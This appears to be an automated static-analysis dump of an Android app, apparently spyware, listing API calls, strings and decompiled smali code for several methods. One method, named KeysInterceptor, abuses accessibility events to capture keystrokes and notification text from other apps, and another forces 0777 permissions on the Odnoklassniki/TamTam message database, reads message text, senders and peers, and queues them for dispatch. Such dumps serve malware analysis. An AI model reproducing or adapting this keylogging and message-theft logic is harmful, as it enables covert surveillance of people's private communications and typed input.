                    • net.vkurhandler.KeysInterceptor.getApplicationContext
                    • android.view.accessibility.AccessibilityEvent.getText
                    • java.util.List.size
                    • android.view.accessibility.AccessibilityEvent.getEventType
                    • android.view.accessibility.AccessibilityEvent.getFromIndex
                    • android.view.accessibility.AccessibilityEvent.getAddedCount
                    • android.view.accessibility.AccessibilityEvent.getRemovedCount
                    • android.view.accessibility.AccessibilityEvent.getPackageName
                    • java.lang.CharSequence.toString
                    • android.text.TextUtils.isEmpty
                    • net.vkurhandler.KeysInterceptor.getApplicationContext
                    • android.content.Context.getPackageName
                    • java.lang.String.equals
                    • android.view.accessibility.AccessibilityEvent.getText
                    • java.util.List.get
                    • java.lang.CharSequence.subSequence
                    • java.lang.CharSequence.toString
                    • java.lang.String.length
                    • net.vkurhandler.KeysInterceptor.a
                    • java.lang.CharSequence.length
                    • java.lang.CharSequence.length
                    • java.lang.CharSequence.length
                    • java.lang.CharSequence.subSequence
                    • java.lang.CharSequence.toString
                    • java.lang.CharSequence.length
                    • java.lang.CharSequence.length
                    • java.lang.CharSequence.subSequence
                    • java.lang.CharSequence.toString
                    • net.vkurhandler.KeysInterceptor.c:Ljava/lang/String
                    • java.lang.String.equals
                    • net.vkurhandler.KeysInterceptor.c:Ljava/lang/String
                    • java.lang.String.equals
                    Strings
                    • KeysInterceptor
                    • []
                    • ^(.{1,30}):(.*)
                    • type
                    • sub_type
                    • date
                    • pkg_name
                    • app_name
                    • keys
                    • group
                    Position Instruction Meta Information
                    0.annotation build Landroid/annotation/SuppressLint;
                    1value = {
                    2"NewApi"
                    3}
                    4.end annotation
                    5const/4 v1, 0x0
                    6const/4 v7, 0x1
                    7monitor-enter p0
                    8try_start_3:
                    9invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    10move-result v0
                    11if-eqz v0, :cond_27
                    13const-string v2, "KeysInterceptor"
                    15invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getText()Ljava/util/List;
                    16move-result-object v0
                    18invoke-interface {v0}, Ljava/util/List;->size()I
                    19move-result v0
                    20if-lez v0, :cond_2d
                    22invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getText()Ljava/util/List;
                    23move-result-object v0
                    24const/4 v3, 0x0
                    26invoke-interface {v0, v3}, Ljava/util/List;->get(I)Ljava/lang/Object;
                    27move-result-object v0
                    28check-cast v0, Ljava/lang/CharSequence;
                    30invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    31move-result-object v0
                    32goto_24:
                    33invoke-static {v2, v0}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    34cond_27: sget-boolean v0, Lnet/vkurhandler/MyApp;->a:Z
                    35try_end_29: if-eqz v0, :cond_2f
                    36goto_2b: monitor-exit p0
                    37return-void
                    38cond_2d: move-object v0, v1
                    39goto/16 :goto_24
                    40cond_2f: sget-boolean v0, Lnet/vkurhandler/KeysInterceptor;->e:Z
                    41if-eqz v0, :cond_d0
                    43invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getEventType()I
                    44try_end_36: move-result v0
                    45const/16 v2, 0x40
                    46if-ne v0, v2, :cond_d0
                    47try_start_3b:
                    48invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                    49move-result-object v0
                    51invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    52move-result-object v4
                    54invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getParcelableData()Landroid/os/Parcelable;
                    55move-result-object v0
                    57invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getText()Ljava/util/List;
                    58move-result-object v2
                    60invoke-virtual {v2}, Ljava/lang/Object;->toString()Ljava/lang/String;
                    61move-result-object v2
                    63const-string v3, "[]"
                    65invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    66move-result v2
                    67if-nez v2, :cond_2b
                    68instance-of v2, v0, Landroid/app/Notification;
                    69if-eqz v2, :cond_d0
                    70check-cast v0, Landroid/app/Notification;
                    72iget-object v2, v0, Landroid/app/Notification;->tickerText:Ljava/lang/CharSequence;
                    74invoke-interface {v2}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    75move-result-object v2
                    77const-string v3, ""
                    78sget v5, Landroid/os/Build$VERSION;->SDK_INT:I
                    79const/16 v6, 0x14
                    80if-lt v5, v6, :cond_1a3
                    82invoke-virtual {v0}, Landroid/app/Notification;->getGroup()Ljava/lang/String;
                    83move-result-object v0
                    84goto_6f:
                    85const-string v3, "^(.{1,30}):(.*)"
                    87const-string v3, "^(.{1,30}):(.*)"
                    89invoke-static {v3}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
                    90move-result-object v3
                    92invoke-virtual {v3, v2}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
                    93move-result-object v3
                    95invoke-virtual {v3}, Ljava/util/regex/Matcher;->matches()Z
                    96move-result v5
                    97if-eqz v5, :cond_8b
                    98const/4 v0, 0x1
                    100invoke-virtual {v3, v0}, Ljava/util/regex/Matcher;->group(I)Ljava/lang/String;
                    101move-result-object v0
                    102const/4 v2, 0x2
                    104invoke-virtual {v3, v2}, Ljava/util/regex/Matcher;->group(I)Ljava/lang/String;
                    105move-result-object v2
                    106cond_8b:
                    107const-string v3, ""
                    109invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    110move-result v3
                    111if-nez v3, :cond_d0
                    113invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    114move-result-object v3
                    116const-string v5, "type"
                    117const/4 v6, 0x1
                    119invoke-virtual {v3, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    121const-string v5, "sub_type"
                    122const/16 v6, 0x1c
                    124invoke-virtual {v3, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    126const-string v5, "date"
                    128invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    129move-result-object v6
                    131invoke-virtual {v3, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    133const-string v5, "pkg_name"
                    135invoke-virtual {v3, v5, v4}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    137const-string v5, "app_name"
                    139invoke-virtual {p0}, Lnet/vkurhandler/KeysInterceptor;->getApplicationContext()Landroid/content/Context;
                    140move-result-object v6
                    142invoke-static {v6, v4}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    143move-result-object v4
                    145invoke-virtual {v3, v5, v4}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    147const-string v4, "keys"
                    149invoke-virtual {v3, v4, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    151const-string v2, "group"
                    153invoke-virtual {v3, v2, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    155invoke-virtual {p0}, Lnet/vkurhandler/KeysInterceptor;->getApplicationContext()Landroid/content/Context;
                    156move-result-object v0
                    158invoke-static {v0, v3}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    159cond_d0: sget-boolean v0, Lnet/vkurhandler/KeysInterceptor;->d:Z
                    160if-eqz v0, :cond_2b
                    161if-eqz p1, :cond_2b
                    163invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getText()Ljava/util/List;
                    164move-result-object v0
                    166invoke-interface {v0}, Ljava/util/List;->size()I
                    167move-result v0
                    168if-eqz v0, :cond_2b
                    170invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getEventType()I
                    171move-result v0
                    172const/16 v2, 0x10
                    173if-ne v0, v2, :cond_2b
                    175invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getFromIndex()I
                    176move-result v2
                    178invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getAddedCount()I
                    179move-result v3
                    181invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getRemovedCount()I
                    182move-result v4
                    184invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                    185move-result-object v0
                    187invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    188move-result-object v5
                    190invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    191move-result v0
                    192if-nez v0, :cond_2b
                    194invoke-virtual {p0}, Lnet/vkurhandler/KeysInterceptor;->getApplicationContext()Landroid/content/Context;
                    195move-result-object v0
                    197invoke-virtual {v0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    198move-result-object v0
                    200invoke-virtual {v5, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    201try_end_10d: move-result v0
                    202if-nez v0, :cond_2b
                    203try_start_110:
                    204invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getText()Ljava/util/List;
                    205move-result-object v0
                    206const/4 v6, 0x0
                    208invoke-interface {v0, v6}, Ljava/util/List;->get(I)Ljava/lang/Object;
                    209move-result-object v0
                    210check-cast v0, Ljava/lang/CharSequence;
                    211if-lt v3, v7, :cond_14a
                    212if-nez v4, :cond_14a
                    213add-int v1, v2, v3
                    215invoke-interface {v0, v2, v1}, Ljava/lang/CharSequence;->subSequence(II)Ljava/lang/CharSequence;
                    216move-result-object v0
                    218invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    219move-result-object v0
                    220iput-object v0, p0, Lnet/vkurhandler/KeysInterceptor;->c:Ljava/lang/String;
                    221goto_12b: if-eqz v0, :cond_2b
                    223invoke-virtual {v0}, Ljava/lang/String;->length()I
                    224move-result v1
                    225if-lez v1, :cond_2b
                    227invoke-direct {p0, v0, v5}, Lnet/vkurhandler/KeysInterceptor;->a(Ljava/lang/String;Ljava/lang/String;)V
                    228try_end_136: goto/16 :goto_2b
                    229catch_138: move-exception v0
                    230try_start_139:
                    231const-string v1, "KeysInterceptor"
                    233invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    234try_end_13e: goto/16 :goto_2b
                    235catchall_140: move-exception v0
                    236monitor-exit p0
                    237throw v0
                    238catch_143: move-exception v0
                    239try_start_144:
                    240const-string v2, "KeysInterceptor"
                    242invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    243try_end_149: goto/16 :goto_d0
                    244cond_14a: if-lez v3, :cond_16d
                    245if-lez v4, :cond_16d
                    246if-le v3, v4, :cond_16d
                    247try_start_150:
                    248invoke-interface {v0}, Ljava/lang/CharSequence;->length()I
                    249move-result v6
                    250if-le v6, v7, :cond_16d
                    251sub-int v6, v3, v4
                    252if-ne v6, v7, :cond_16d
                    254invoke-interface {v0}, Ljava/lang/CharSequence;->length()I
                    255move-result v1
                    256add-int/lit8 v1, v1, -0x1
                    258invoke-interface {v0}, Ljava/lang/CharSequence;->length()I
                    259move-result v2
                    261invoke-interface {v0, v1, v2}, Ljava/lang/CharSequence;->subSequence(II)Ljava/lang/CharSequence;
                    262move-result-object v0
                    264invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    265move-result-object v0
                    266goto/16 :goto_12b
                    267cond_16d: if-lez v3, :cond_1a1
                    268if-lez v4, :cond_1a1
                    269if-ne v3, v4, :cond_1a1
                    271invoke-interface {v0}, Ljava/lang/CharSequence;->length()I
                    272move-result v3
                    273if-le v3, v7, :cond_1a1
                    275invoke-interface {v0}, Ljava/lang/CharSequence;->length()I
                    276move-result v1
                    278invoke-interface {v0, v2, v1}, Ljava/lang/CharSequence;->subSequence(II)Ljava/lang/CharSequence;
                    279move-result-object v0
                    281invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    282move-result-object v0
                    284const-string v1, ""
                    286iget-object v2, p0, Lnet/vkurhandler/KeysInterceptor;->c:Ljava/lang/String;
                    288invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    289move-result v1
                    290if-nez v1, :cond_19e
                    292iget-object v1, p0, Lnet/vkurhandler/KeysInterceptor;->c:Ljava/lang/String;
                    294invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    295move-result v1
                    296if-eqz v1, :cond_19e
                    298const-string v0, ""
                    299iput-object v0, p0, Lnet/vkurhandler/KeysInterceptor;->c:Ljava/lang/String;
                    301const-string v0, ""
                    302goto/16 :goto_12b
                    303cond_19e: iput-object v0, p0, Lnet/vkurhandler/KeysInterceptor;->c:Ljava/lang/String;
                    304try_end_1a0: goto/16 :goto_12b
                    305cond_1a1: move-object v0, v1
                    306goto/16 :goto_12b
                    307cond_1a3: move-object v0, v3
                    308goto/16 :goto_6f
                    APIs
                    • java.io.File.<init>
                    • java.io.File.canRead
                    • net.vkurhandler.dl.g:Landroid/content/SharedPreferences
                    • net.vkurhandler.MyApp.a
                    • android.content.SharedPreferences.getLong
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.io.File.length
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.dl.k:Ljava/lang/String
                    • net.vkurhandler.dl.k:Ljava/lang/String
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.dl.l:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.dl.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.dl.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • net.vkurhandler.dl.l
                    • java.lang.String.equals
                    • net.vkurhandler.dl.a
                    • net.vkurhandler.dl.a
                    • net.vkurhandler.dl.a
                    • net.vkurhandler.dl.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • /data/data/ru.ok.android/databases/tamtam_messages
                    • 0777
                    • messenger_rt_odnoklassniki_last_update_ms
                    • OdnoklassnikiRT
                    • can read message db copy is
                    • lastUpdateMs
                    • size:
                    • messages
                    • msg_text <> \'\' and msg_text IS NOT NULL and msg_time >
                    • type
                    • sub_type
                    • date
                    • message
                    • sender
                    • peer
                    • is_out
                    • dialog_id
                    Position Instruction Meta Information
                    0const/4 v9, 0x0
                    1const/4 v10, 0x1
                    2const/4 v8, 0x0
                    3iget-wide v0, p0, Lnet/vkurhandler/dl;->c:J
                    5invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(J)V
                    6try_start_8: new-instance v0, Ljava/io/File;
                    8const-string v1, "/data/data/ru.ok.android/databases/tamtam_messages"
                    10invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    12invoke-virtual {v0}, Ljava/io/File;->canRead()Z
                    13move-result v1
                    14if-nez v1, :cond_1d
                    16const-string v2, "/data/data/ru.ok.android/databases/tamtam_messages"
                    18const-string v3, "0777"
                    19const/4 v4, 0x0
                    21invoke-static {v2, v3, v4}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    22cond_1d:
                    23iget-object v2, p0, Lnet/vkurhandler/dl;->g:Landroid/content/SharedPreferences;
                    25const-string v3, "messenger_rt_odnoklassniki_last_update_ms"
                    27invoke-static {}, Lnet/vkurhandler/MyApp;->a()J
                    28move-result-wide v4
                    30invoke-interface {v2, v3, v4, v5}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    31move-result-wide v12
                    33invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    34move-result v2
                    35if-eqz v2, :cond_71
                    37const-string v2, "OdnoklassnikiRT"
                    38const/4 v3, 0x3
                    39new-array v3, v3, [Ljava/lang/String;
                    40const/4 v4, 0x0
                    41new-instance v5, Ljava/lang/StringBuilder;
                    43const-string v6, "can read message db copy is "
                    45invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    47invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                    48move-result-object v5
                    50invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    51move-result-object v5
                    52aput-object v5, v3, v4
                    53const/4 v4, 0x1
                    54new-instance v5, Ljava/lang/StringBuilder;
                    56const-string v6, " lastUpdateMs "
                    58invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    60invoke-virtual {v5, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    61move-result-object v5
                    63invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    64move-result-object v5
                    65aput-object v5, v3, v4
                    66const/4 v4, 0x2
                    67new-instance v5, Ljava/lang/StringBuilder;
                    69const-string v6, " size:"
                    71invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    73invoke-virtual {v0}, Ljava/io/File;->length()J
                    74move-result-wide v6
                    76invoke-virtual {v5, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    77move-result-object v0
                    79invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    80move-result-object v0
                    81aput-object v0, v3, v4
                    83invoke-static {v2, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    84cond_71: if-eqz v1, :cond_1b2
                    86const-string v0, "/data/data/ru.ok.android/databases/tamtam_messages"
                    88sget-object v1, Lnet/vkurhandler/dl;->k:Ljava/lang/String;
                    90const-string v2, "0777"
                    92invoke-static {v0, v1, v2}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                    94sget-object v0, Lnet/vkurhandler/dl;->k:Ljava/lang/String;
                    95const/4 v1, 0x0
                    96const/16 v2, 0x11
                    98invoke-static {v0, v1, v2}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    99try_end_84: move-result-object v0
                    100try_start_85:
                    101const-string v1, "messages"
                    103sget-object v2, Lnet/vkurhandler/dl;->l:[Ljava/lang/String;
                    104new-instance v3, Ljava/lang/StringBuilder;
                    106const-string v4, "msg_text <> \'\' and msg_text IS NOT NULL and msg_time > "
                    108invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    110invoke-virtual {v3, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    111move-result-object v3
                    113invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    114move-result-object v3
                    115const/4 v4, 0x0
                    116const/4 v5, 0x0
                    117const/4 v6, 0x0
                    118const/4 v7, 0x0
                    120invoke-virtual/range {v0 .. v7}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    121try_end_9f: move-result-object v2
                    122move v1, v9
                    123move-wide v4, v12
                    124goto_a2:
                    125invoke-interface {v2}, Landroid/database/Cursor;->moveToNext()Z
                    126move-result v3
                    127if-nez v3, :cond_cf
                    128if-eqz v1, :cond_be
                    130iget-object v1, p0, Lnet/vkurhandler/dl;->g:Landroid/content/SharedPreferences;
                    132invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    133move-result-object v1
                    135const-string v3, "messenger_rt_odnoklassniki_last_update_ms"
                    137invoke-interface {v1, v3, v4, v5}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    138move-result-object v1
                    140invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    142iget-object v1, p0, Lnet/vkurhandler/dl;->d:Landroid/content/Context;
                    144invoke-static {v1}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    145goto_be: if-eqz v2, :cond_c3
                    146try_start_c0:
                    147invoke-interface {v2}, Landroid/database/Cursor;->close()V
                    148cond_c3: if-eqz v0, :cond_ce
                    149try_start_c5:
                    150invoke-virtual {v0}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    151move-result v1
                    152if-eqz v1, :cond_ce
                    154invoke-virtual {v0}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    155try_end_ce: return-void
                    156cond_cf: const/4 v1, 0x0
                    157try_start_d0:
                    158invoke-interface {v2, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    159move-result-object v3
                    160const/4 v1, 0x1
                    162invoke-interface {v2, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    163move-result-object v8
                    164const/4 v1, 0x2
                    166invoke-interface {v2, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    167move-result-object v9
                    168const/4 v1, 0x3
                    170invoke-interface {v2, v1}, Landroid/database/Cursor;->getLong(I)J
                    171move-result-wide v6
                    172cmp-long v1, v6, v4
                    173if-lez v1, :cond_e8
                    174move-wide v4, v6
                    175cond_e8: const/4 v1, 0x1
                    177invoke-static {v1, v6, v7}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    178move-result-object v6
                    180invoke-direct {p0}, Lnet/vkurhandler/dl;->l()Ljava/lang/String;
                    181move-result-object v1
                    183invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    184move-result v7
                    185if-eqz v7, :cond_fb
                    187invoke-direct {p0, v0, v3, v8}, Lnet/vkurhandler/dl;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    188move-result-object v1
                    189cond_fb:
                    190invoke-direct {p0, v0, v3}, Lnet/vkurhandler/dl;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    191move-result-object v3
                    193invoke-direct {p0, v0, v1}, Lnet/vkurhandler/dl;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    194move-result-object v1
                    196invoke-virtual {p0, v9, v3, v1}, Lnet/vkurhandler/dl;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    197move-result v11
                    198if-eqz v11, :cond_13b
                    200invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    201move-result-object v11
                    203const-string v12, "type"
                    204const/4 v13, 0x1
                    206invoke-virtual {v11, v12, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    208const-string v12, "sub_type"
                    209const/16 v13, 0x9
                    211invoke-virtual {v11, v12, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    213const-string v12, "date"
                    215invoke-virtual {v11, v12, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    217const-string v6, "message"
                    219invoke-virtual {v11, v6, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    221const-string v6, "sender"
                    223invoke-virtual {v11, v6, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    225const-string v3, "peer"
                    227invoke-virtual {v11, v3, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    229const-string v1, "is_out"
                    231invoke-virtual {v11, v1, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    233const-string v1, "dialog_id"
                    235invoke-virtual {v11, v1, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    237invoke-static {v11}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    238try_end_13b: move v1, v10
                    239goto/16 :goto_a2
                    240catch_13e: move-exception v0
                    241move-object v1, v8
                    242try_start_140:
                    243const-string v2, "OdnoklassnikiRT"
                    245invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    246try_end_145: if-eqz v1, :cond_14a
                    247try_start_147:
                    248invoke-interface {v1}, Landroid/database/Cursor;->close()V
                    249goto_14a: if-eqz v8, :cond_ce
                    250try_start_14c:
                    251invoke-virtual {v8}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    252move-result v0
                    253if-eqz v0, :cond_ce
                    255invoke-virtual {v8}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    256try_end_155: goto/16 :goto_ce
                    257catch_157: move-exception v0
                    259const-string v1, "OdnoklassnikiRT"
                    261invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    262goto/16 :goto_ce
                    263catch_15f: move-exception v0
                    265const-string v1, "OdnoklassnikiRT"
                    267invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    268goto/16 :goto_14a
                    269catchall_166: move-exception v0
                    270move-object v1, v8
                    271goto_168: if-eqz v8, :cond_16d
                    272try_start_16a:
                    273invoke-interface {v8}, Landroid/database/Cursor;->close()V
                    274goto_16d: if-eqz v1, :cond_178
                    275try_start_16f:
                    276invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    277move-result v2
                    278if-eqz v2, :cond_178
                    280invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    281cond_178: throw v0
                    282catch_179: move-exception v2
                    284const-string v3, "OdnoklassnikiRT"
                    286invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    287goto/16 :goto_16d
                    288catch_180: move-exception v1
                    290const-string v2, "OdnoklassnikiRT"
                    292invoke-static {v2, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    293goto/16 :goto_178
                    294catch_187: move-exception v1
                    296const-string v2, "OdnoklassnikiRT"
                    298invoke-static {v2, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    299goto/16 :goto_c3
                    300catch_18f: move-exception v0
                    302const-string v1, "OdnoklassnikiRT"
                    304invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    305goto/16 :goto_ce
                    306catchall_197: move-exception v1
                    307move-object v14, v1
                    308move-object v1, v0
                    309move-object v0, v14
                    310goto/16 :goto_168
                    311catchall_19c: move-exception v1
                    312move-object v8, v2
                    313move-object v14, v1
                    314move-object v1, v0
                    315move-object v0, v14
                    316goto/16 :goto_168
                    317catchall_1a2: move-exception v0
                    318move-object v14, v1
                    319move-object v1, v8
                    320move-object v8, v14
                    321goto/16 :goto_168
                    322catch_1a7: move-exception v1
                    323move-object v14, v1
                    324move-object v1, v8
                    325move-object v8, v0
                    326move-object v0, v14
                    327goto/16 :goto_140
                    328catch_1ad: move-exception v1
                    329move-object v8, v0
                    330move-object v0, v1
                    331move-object v1, v2
                    332goto/16 :goto_140
                    333cond_1b2: move-object v2, v8
                    334move-object v0, v8
                    335goto/16 :goto_be
                    APIs
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
